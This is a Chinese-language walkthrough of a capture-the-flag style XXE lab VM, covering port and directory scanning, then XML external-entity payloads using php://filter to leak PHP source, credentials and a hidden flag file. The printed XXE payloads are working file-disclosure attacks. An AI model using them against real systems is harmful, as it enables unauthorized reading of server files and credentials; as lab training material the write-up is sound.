XXE靶场搭建及攻略详解步骤加贴图

一、安装靶场

1.将下载下来的XXE靶场压缩包解压后使用VM打开xxe.ovf即可创建XXE虚拟机(中途填写名称时不要只写XXE会与文件夹中文件冲突 以防万一) ,下图为搭建好后的场景。

二、查找主机和开放端口,进行访问

1.虚拟机创建默认为NET模式,本机查看IP网卡8为NET网卡不清楚的可以根据下图指示查看

2.查看XXE靶机的网卡类型,虚拟机左上方-->编辑(右击)-->虚拟网络编辑器-->NET模式查看下方网段

3.使用御剑端口扫描工具检测开放端口,192.168.79.1:80端口是主机的IP所以另一个就是我们的XXE靶机IP及端口192.168.79.132:80访问后是Ubuntu的默认网页

三、进行目录扫描

1.使用工具7kbscan-WebPathBrute扫描目录,发现robots文件查看是否为源码泄露,疑似/xxe目录和/admin.php目录,进行访问。

四、访问文件路径并确定攻击方式

访问http://192.168.79.132/xxe/尝试admin登录并抓包查看发现请求体中的数据为XML格式发送到重放器查看回显点并构造XML格式poc,更改name值时回显的代码也会跟着改变所以我们可以通过name来带出我们文件中的源代码查看是否有我们所需要的信息。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">]>
<root><name>&file;</name><password>admin</password></root>

将xxe.php文件的回显结果进行base64解码得无用结果,再查看admin.php文件的源代码并解码

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">]>
<root><name>&file;</name><password>admin</password></root>

对admin.php结果解码得到下列有用信息,从中我们可以知道username和password,将password进行解码后尝试登录,在xxe的界面登录显示始终错误,所以我们应该知道我们查看的admin.php文件,故而应该从admin界面登录查看信息

登录网址应该为xxe/admin.php,账号和密码都已经在解码得到的php文件中给出。点击flag查看网页错误但是出现了新的文件名,利用刚刚的poc再次查看php文件

通过发送的XXE请求得到文件源代码,再次对得到的数据解码得到下列数据,格式为base32位编码,解码后得到的数据还是经过base64编码的,再次解码,得到的依旧是一个php文件,查看文件内容

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

L2V0Yy8uZmxhZy5waHA=

/etc/.flag.php

base64解码后为以下结果,通过php编程工具执行查看内容

可以得到flag至此XXE靶机攻击结束。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值